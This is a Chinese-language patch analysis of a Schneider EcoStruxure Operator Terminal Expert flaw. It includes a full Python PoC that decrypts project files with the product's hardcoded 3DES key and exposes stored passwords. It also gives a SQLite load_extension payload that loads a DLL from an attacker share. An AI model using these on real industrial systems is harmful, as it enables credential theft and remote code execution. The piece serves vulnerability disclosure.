对工控软件施耐德 EcoStruxure Operator Terminal Expert 漏洞的补丁分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

对工控软件施耐德 EcoStruxure Operator Terminal Expert 漏洞的补丁分析

h1apwn 漏洞 2020-03-03 10:30:00
705036
收藏

导语:即使进行加密也可以打包和解压缩项目文件,这是因为被修补的bug之一是用于加密和解密项目文件的硬编码加密密钥。

0x01  漏洞描述

正如Cim在其博客中写的那样,即使进行加密,他也可以打包和解压缩项目文件,这是因为被修补的bug之一是用于加密和解密项目文件的硬编码加密密钥。

0x02  漏洞版本

先弄清楚哪些版本是存在漏洞的

· EcoStruxure Operator Terminal Expert V3.1.iso-SHA1 386312d68ba5e6a98df24258f2fbcfb2d8c8521b::

该版本易受攻击并于2019年12月20日发布。

· Installation_File_v3.1_SP1.zip-SHA1 229c8a5f9cdb1d63c2f9998d561a50a30e829d7a::

该版本不受攻击,于20/9/2019发行。

0x03  漏洞验证

项目文件(.vxdz)是可以提取的简单zip压缩文件。

 saturn:~ mr_me$ unzip -d sample sample.vxdz 
 Archive:  sample.vxdz
  extracting: sample/Alarm.db         
  extracting: sample/AllDataLogging.dat  
  extracting: sample/contents.inf     
  extracting: sample/Converters.dat   
  extracting: sample/hierarchy.inf    
  extracting: sample/Language.db      
  extracting: sample/logging.dat      
  extracting: sample/Project.dat      
  extracting: sample/Recipe.Binding.dat  
  extracting: sample/Recipe.db        
  extracting: sample/RecipeControls.dat  
  extracting: sample/scripts.inf      
  extracting: sample/Security.db      
  extracting: sample/SystemKeypad.inf  
  extracting: sample/Target.Binding.dat  
  extracting: sample/Target.dat       
  extracting: sample/Validations.dat  
  extracting: sample/Variables.db     
  extracting: sample/Screens/panel1.binding.dat  
  extracting: sample/Screens/panel1.dat  
  extracting: sample/Scripts/panel0.binding.dat  
  extracting: sample/Scripts/panel0.dat  
  extracting: sample/[Content_Types].xml  
 saturn:~ mr_me$ file sample/Security.db
 sample/Security.db: data
 saturn:~ mr_me$ strings sample/Security.db 
 ]3uU
 B[]~
 J|)o
 JdnAq
 ER$_0
 pPQ$M

尝试确定.db文件的文件类型和/或检查其内容时,我们可以快速看到使用deflate加密和压缩了文件。通常,这不是问题,但是Security.db文件可以包含敏感信息,例如用户名和密码。

 saturn:~ mr_me$ ./poc.py 
 (+) usage: ./poc.py  [options ]
 (+) eg: ./poc.py sample.vxdz unpack
 (+) eg: ./poc.py sample.vxdz pack
 saturn:~ mr_me$ ./poc.py sample.vxdz unpack
 (+) unpacking to sample
 (+) unpacking: sample/Validations.dat
 (+) unpacking: sample/Screens/panel1.binding.dat
 (+) unpacking: sample/Recipe.Binding.dat
 (+) unpacking: sample/RecipeControls.dat
 (+) unpacking: sample/hierarchy.inf
 (+) unpacking: sample/Alarm.db
 (+) unpacking: sample/Recipe.db
 (+) unpacking: sample/Project.dat
 (+) unpacking: sample/Screens/panel1.dat
 (+) unpacking: sample/Language.db
 (+) unpacking: sample/scripts.inf
 (+) unpacking: sample/Target.Binding.dat
 (+) unpacking: sample/Target.dat
 (+) unpacking: sample/AllDataLogging.dat
 (+) unpacking: sample/logging.dat
 (+) unpacking: sample/Scripts/panel0.binding.dat
 (+) unpacking: sample/Scripts/panel0.dat
 (+) unpacking: sample/Converters.dat
 (+) unpacking: sample/Security.db
 (+) unpacking: sample/SystemKeypad.inf
 (+) unpacking: sample/Variables.db
 (+) unpacking: sample/contents.inf
 (+) unpacking: sample/[Content_Types].xml
 (+) unpacked and decrypted: sample.vxdz
 saturn:~ mr_me$ file sample/Security.db 
 sample/Security.db: SQLite 3.x database, last written using SQLite version 3008010
 saturn:~ mr_me$ strings sample/Security.db | grep admin
 admins
 admin09cfb7e71f097ebfed99e3ca3ba5d8b9e26162e19d03949566df9a12097d3bb2
 adminthe master admin userThisIsASecretPassword!^L4G
 saturn:~ mr_me$

使用我们的PoC,可以在.vdxz文件中发现密码,并且在上面的示例中,我们可以看到密码ThisIsASecretPassword!

0x04  远程代码执行

在Checkpoint的博客文章中发布了SQLite fts3_tokenizer不可信指针远程执行代码漏洞(CVE-2019-8602)的详细信息

SQLite二进制文件中不仅为EcoStruxure Operator Terminal Expert启用了FTS3扩展,而且还使用了过时的版本:3.8.10.2。。

事实证明,SQLite二进制文件sqlite3_load_extension也启用了接口,这意味着使用以下payload即可轻松执行远程代码:

 select load_extension('\\attacker\calc.dll','DllMain');

0x05  漏洞补丁

施耐德在SP1中发布的补丁实质上是使用每个项目的密码来加密文件,而不是使用硬编码的加密密钥。

每个项目的密码警告:

此外,SP1中附带的SQLite二进制文件具有FTS3扩展名和sqlite3_load_extension接口已禁用。

0x06  分析结论

尽管没有发布CVE,但是如果在网络中发现.vdxz文件,则可以获取敏感信息。

完整PoC代码:

 #!/usr/local/bin/python3
 """
 Schneider Electric EcoStruxure Operator Terminal Expert Hardcoded Cryptographic Key Information Disclosure Vulnerability
 SRC: SRC-2020-0010
 CVE: N/A
 File: EcoStruxure Operator Terminal Expert V3.1.iso
 SHA1: 386312d68ba5e6a98df24258f2fbcfb2d8c8521b
 Download: https://download.schneider-electric.com/files?p_File_Name=EcoStruxure+Operator+Terminal+Expert+V3.1.iso
 """
 import os
 import re
 import sys
 import glob
 import zlib
 import zipfile
 from Crypto.Cipher import DES3
 
 # hardcoded values
 key  = [ 202, 20, 221, 52, 225, 154, 5, 123, 111, 219, 11, 199, 145, 27, 200, 129, 254, 222, 253, 119, 213, 134, 72, 78 ]
 iv   = [ 95, 21, 44, 250, 112, 73, 114, 155 ]
 des3 = [ 93, 51, 117, 85, 189, 76, 88, 200, 231, 127 ]
 plen  = 8
 
 def check_equal(iterator):
    # if all the values are the same then its padding...
    return len(set(iterator)) <= 1
 
 def _inflate(decoded_data):
     return zlib.decompress(decoded_data, -15)
 
 def _deflate(string_val):
     compressed = zlib.compress(string_val)
     return compressed[2:-4]
 
 def delete_folder(top) :
     for root, dirs, files in os.walk(top, topdown=False):
         for name in files:
             os.remove(os.path.join(root, name))
         for name in dirs:
             os.rmdir(os.path.join(root, name))
     os.rmdir(top)
 
 def decrypt_file(filename):
     print("(+) unpacking: %s" % filename)
     decr = DES3.new(bytes(key), DES3.MODE_CBC, bytes(iv))
     default_data = bytes([8, 8, 8, 8, 8, 8, 8, 8])
     with open(filename, "rb") as f:
         if list(f.read(10)) == des3:
             encrypted = f.read()
             raw_data = decr.decrypt(encrypted)
             if not check_equal(list(raw_data)):
                 raw_data = _inflate(raw_data)
         else:
             f.seek(0)
             raw_data = f.read() 
     # now that we have the decrypted data, let's overwrite the file...
     with open(filename, "wb") as f:
         f.write(raw_data)
 
 def encrypt_file(filename):
     print("(+) packing: %s" % filename)
     encr = DES3.new(bytes(key), DES3.MODE_CBC, bytes(iv))
     with open(filename, "rb") as f:
         packed_data = f.read()
         if not packed_data == bytes([8, 8, 8, 8, 8, 8, 8, 8]):
             packed_data = _deflate(packed_data)
         # padding for encryption, same as schneider
         pad = plen - (len(packed_data) % plen)
         # if we just have padding in there, then dont bother adding more padding now...
         if len(packed_data) != 8:
             for i in range(0, pad):
                 packed_data += bytes([pad])
         encr_data = bytes(des3) + encr.encrypt(packed_data)
     with open(filename, "wb") as f:
         f.write(encr_data)
 
 def unpack(project):
     z = os.path.abspath(project)
     output_dir = os.path.splitext(z)[0]
     print("(+) unpacking to %s" % output_dir)
     if os.path.exists(output_dir):
         print("(-) %s already exists!" % output_dir)
         return False
     zip_obj = zipfile.ZipFile(z, 'r')
     zip_obj.extractall(output_dir)
     zip_obj.close()
     # two levels deep, we can do more if we need to
     for file in list(set(glob.glob(output_dir + '/**/**/*.*', recursive=True))):
         decrypt_file(file)
     print("(+) unpacked and decrypted: %s" % project)
 
 def pack(project):
     z = os.path.abspath(project)
     output_dir = os.path.splitext(z)[0]
     # two levels deep, we can do more if we need to
     for file in list(set(glob.glob(output_dir + '/**/**/*.*', recursive=True))):
         if os.path.basename(file) != "[Content_Types].xml":
             encrypt_file(file)
 
     zf = zipfile.ZipFile(project, "w")
     for file in list(set(glob.glob(os.path.basename(output_dir) + '/**/**/*.*', recursive=True))):
         zf.write(file, "/".join(file.strip("/").split('/')[1:]))
 
     zf.close()
     delete_folder(output_dir)
     print("(+) packed and encrypted: %s" % project)
 
 def main():
     if len(sys.argv) != 3:
         print("(+) usage: %s  [options ]" % sys.argv[0])
         print("(+) eg: %s sample.vxdz unpack" % sys.argv[0])
         print("(+) eg: %s sample.vxdz pack" % sys.argv[0])
         sys.exit(0)
     f = sys.argv[1]
     c = sys.argv[2]
     if c.lower() == "unpack":
         unpack(f)
     elif c.lower() == "pack":
         pack(f)
     else:
         print("(-) invalid option!")
         sys.exit(1)
 
 if __name__ == '__main__':
     main()

参考信息:

https://srcincite.io/advisories/src-2020-0010/

本文翻译自:https://srcincite.io/blog/2020/02/18/silent-schneider-revealing-a-hidden-patch-in-ecostruxure-operator-terminal-expert.html如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务